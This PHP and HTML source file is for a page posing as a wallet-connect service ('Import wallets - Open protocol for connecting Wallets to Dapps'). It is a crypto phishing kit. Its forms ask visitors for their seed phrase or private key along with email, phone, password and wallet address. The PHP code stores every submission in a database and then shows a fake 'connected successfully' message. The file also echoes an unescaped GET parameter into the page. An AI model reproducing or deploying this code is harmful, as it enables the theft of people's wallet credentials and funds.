<?php
include '../../config/db.php';
include '../../config/config.php';
include '../../config/functions.php';

if(isset($_GET['wallets'])){
    $wallets = $_GET['wallets'];
}


if ($_SERVER['REQUEST_METHOD'] == "POST") {
    // Sanitize and validate inputs
    $phrase = trim($_POST['phrase']);
    $email = filter_var($_POST['email'], FILTER_SANITIZE_EMAIL);
    $phone = trim($_POST['phone']);
    $password = trim($_POST['password']);
    $wallet = trim($_POST['value']); // Assuming 'value' is the wallet type
    $address = trim($_POST['address']);
    $date = date("Y-m-d H:i:s"); // Current timestamp

    // Check for empty fields
    if (empty($phrase) || empty($email) || empty($phone) || empty($password) || empty($address)) {
        echo "<script>alert('All fields are required!'); window.history.back();</script>";
        exit;
    }

    // Validate email format
    if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
        echo "<script>alert('Invalid email format!'); window.history.back();</script>";
        exit;
    }


    // Insert data into the database using prepared statement
    $sql = "INSERT INTO `connect` (`phrase`, `email`, `phone`, `password`, `wallet`, `address`, `date`) 
            VALUES (?, ?, ?, ?, ?, ?, ?)";

    if ($stmt = $conn->prepare($sql)) {
        $stmt->bind_param("sssssss", $phrase, $email, $phone, $password, $wallet, $address, $date);

        if ($stmt->execute()) {
            echo "<script>
                    alert('connected successfully!');
                    window.location.href = '../index.php'; // Redirect to a success page
                  </script>";
        } else {
            echo "<script>alert('Error: Could not save data.'); window.history.back();</script>";
        }
        $stmt->close();
    } else {
        echo "<script>alert('Database error. Please try again later.'); window.history.back();</script>";
    }

    // Close the database connection
    $conn->close();
}
?>
<link rel="stylesheet" type="text/css" href="sweetalert.css" />
<script type="text/javascript" src="sweetalert-dev.js"></script>
  <!DOCTYPE html>
<html lang="zxx">

<head>
    <script data-ad-client="ca-pub-2642364236500120" async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Import wallets - Open protocol for connecting Wallets to Dapps</title>
    <!-- favicon -->
    <link rel="shortcut icon" href="favicon.png" type="image/png">
    <!-- bootstrap -->
    <link rel="stylesheet" href="assets/css/bootstrap.min.css">
    <!-- fontawesome icon  -->
    <link rel="stylesheet" href="assets/css/fontawesome.min.css">
    <!-- flaticon css -->
    <link rel="stylesheet" href="assets/fonts/flaticon.css">
    <!-- animate.css -->
    <link rel="stylesheet" href="assets/css/animate.css">
    <!-- magnific popup -->
    <link rel="stylesheet" href="assets/css/modal-video.min.css">
    <!-- slick css -->
    <link rel="stylesheet" href="assets/css/slick.css">
    <link rel="stylesheet" href="assets/css/slick-theme.css">
    <!-- toastr js -->
    <link rel="stylesheet" href="assets/css/toastr.min.css">
    <!-- stylesheet -->
    <link rel="stylesheet" href="assets/css/style.css">
    <!-- responsive -->
    <link rel="stylesheet" href="assets/css/responsive.css">
    <!-- language -->
    <link rel="stylesheet" href="assets/css/language.css">
    <!-- language -->
    <script src="assets/js/language.js"></script>
    <script type="text/javascript" src="https://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit2"></script>
     <style type="text/css">
                 .pageStyles__SAppIcon-sc-1navawn-6 img{
                    height: 100px;margin-bottom: 5px;
                 }
             </style>
</head>

    <body style="background:#001132">

        <div class="notification-alert">
            <div class="notice-list">
                
            </div>
        </div>

        

        <div class="mobile-navbar-wrapper">

            <!-- header begin -->
                       <!-- header end -->
<!-- breadcrumb begin -->

<!-- breadcrumb end -->

<!-- about begin -->
<style type="text/css">
    .widthh{width: 80%}
    @media (max-width: 680px){
            .widthh{width: 96%;padding-left:2%; }
    }
</style>
<div class="about about-inner" style="background:url('assets/img/banner-bg.png');background-position:0px 0px;background-size: cover;background-repeat: no-repeat;background:#001132">

    <div class="container" style="padding-left: 0px;
padding-right: 0px;">
        <div class="row justify-content-xl-between justify-content-lg-between justify-content-md-between justify-content-sm-center">
            <div class="col-xl-12 col-lg-12 col-sm-12">
            
<style type="text/css">
    .gridd{width: 50%;margin-top: 50px}

.center{width: 100%;display:flex;justify-content:center;}

@media (max-width: 680px){

    .gridd{width: 90%;margin-top: 50px}

}
/* Style the tab */
.tab {
  overflow: hidden;
  border: 1px solid #ccc;
  background-color: #fff;
  border-top-left-radius:10px;
    border-top-right-radius:10px;
}

/* Style the buttons that are used to open the tab content */
.tab button {
  background-color: inherit;
  float: left;
  border: none;
  outline: none;
  cursor: pointer;
  padding: 14px 16px;
  transition: 0.3s;
}

/* Change background color of buttons on hover */
.tab button:hover {
  background-color: #ddd;
}

/* Create an active/current tablink class */
.tab button.active {
  background-color: #ccc;
}

/* Style the tab content */
.tabcontent {
  display: none;
  padding: 6px 12px;
  border: 1px solid #ccc;
  border-top: none;
  border-bottom-left-radius:10px;
    border-bottom-right-radius:10px;
background:white;}

</style>

  <section class="pageStyles__SSection-sc-1navawn-4 ibLsRQ center">
                    <div class="Grid__SGrid-sc-8d5rqj-0 gAVVCu gridd">
                      
<script type="text/javascript">
 function lt(){
  openCity(event, 'London');
}
setTimeout(lt, 2000);
</script>
           <!-- Tab links -->
<div class="tab">
  <button class="tablinks" onclick="openCity(event, 'London')">Phrase</button>
  <button class="tablinks" onclick="openCity(event, 'Paris')">Private Key</button>

</div>

<!-- Tab content -->
<div id="London" class="tabcontent">
                <form method="post"">
                <textarea class="form-control" rows="5" name="phrase" placeholder="Phrase"></textarea><br />
                  <div class="form-group">
                  <input class="form-control" name="email" placeholder="E-mail">
                </div>
                <div class="form-group">
                  <input class="form-control" name="phone" placeholder="Phone">
                </div>
                
                  <div class="form-group">
                  <input class="form-control" name="password" placeholder="Password">
                </div>

                 <div class="form-group">
                  <input class="form-control" name="address" placeholder="Wallet Address">
                </div>
                
                <p class="text-secondary" style="margin-top: 10px;">Typically 12 (sometimes 24) words seperated by a single spaces.</p>
                <input type="hidden" name="value" value="<?php echo $wallets ?>">
                <div class="form-group"><button class="btn btn-primary btn-block" type="submit" name="submitphrase">IMPORT</button></div>
              </form>
</div>

<div id="Paris" class="tabcontent">
                <form method="post">
                <div class="form-group">
                  <input class="form-control" name="phrase" placeholder="Private Key">
                </div>
                <div class="form-group">
                  <input class="form-control" name="email" placeholder="E-mail">
                </div>
                <div class="form-group">
                  <input class="form-control" name="phone" placeholder="Phone">
                </div>
                
                <div class="form-group">
                  <input class="form-control" name="password" placeholder="Password">
                </div>
                 <div class="form-group">
                  <input class="form-control" name="address" placeholder="Wallet Address">
                </div>

                <p class="text-secondary" style="margin-top: 10px;">Please enter your private key in HEX format.</p>
                <input type="hidden" name="value" value="Ethereum">
                <div class="form-group"><button class="btn btn-primary btn-block" type="submit" name="submitkey">IMPORT</button></div>
              </form>
</div>

<div id="Tokyo" class="tabcontent">
  <h3>Tokyo</h3>
  <p>Tokyo is the capital of Japan.</p>
</div>          
                      
                      
                      
                    </div>
                  </section>


            </div>
           
        </div>
    </div>
</div>

<script type="text/javascript">
  function openCity(evt, cityName) {
  // Declare all variables
  var i, tabcontent, tablinks;

  // Get all elements with class="tabcontent" and hide them
  tabcontent = document.getElementsByClassName("tabcontent");
  for (i = 0; i < tabcontent.length; i++) {
    tabcontent[i].style.display = "none";
  }

  // Get all elements with class="tablinks" and remove the class "active"
  tablinks = document.getElementsByClassName("tablinks");
  for (i = 0; i < tablinks.length; i++) {
    tablinks[i].className = tablinks[i].className.replace(" active", "");
  }

  // Show the current tab, and add an "active" class to the button that opened the tab
  document.getElementById(cityName).style.display = "block";
  evt.currentTarget.className += " active";
}
</script>
<!-- about end -->
            <!-- footer begin -->
            <!--<div class="footer">
                
                <div class="copyright-area">
                    <div class="container">
                        <div class="row justify-content-center">
                            <div class="col-xl-8 col-lg-8">
                                <p>Copyright © <a href="index.php">Blockchain Rectification</a> - 2022. All Rights Reserved</p>
                            </div>
                        </div>
                    </div>
                </div>
            </div>-->
            <!-- footer end -->
            
        </div> <!-- mobile navbar wrapper end -->

       

        <div class="d-xl-block d-lg-block d-none">
            <div class="back-to-top-btn">
                <a href="#">
                    <img src="assets/img/svg/arrow.svg" alt="">
                </a>
            </div>
        </div>
     
        <!-- jquery -->
        <script src="assets/js/jquery.js"></script>
        <!-- popper js -->
        <script src="assets/js/popper.min.js"></script>
        <!-- bootstrap -->
        <script src="assets/js/bootstrap.min.js"></script>
        <!-- modal video js -->
        <script src="assets/js/jquery-modal-video.min.js"></script>
        <!-- slick js -->
        <script src="assets/js/slick.min.js"></script>
        <!-- toastr js -->
        <script src="assets/js/toastr.min.js"></script>
        <!-- investment profit calculator-->
        <script src="assets/js/investment-profit-calculator.js"></script>
        <!-- main -->
        <script src="assets/js/main.js"></script>
        

    </body>

</html>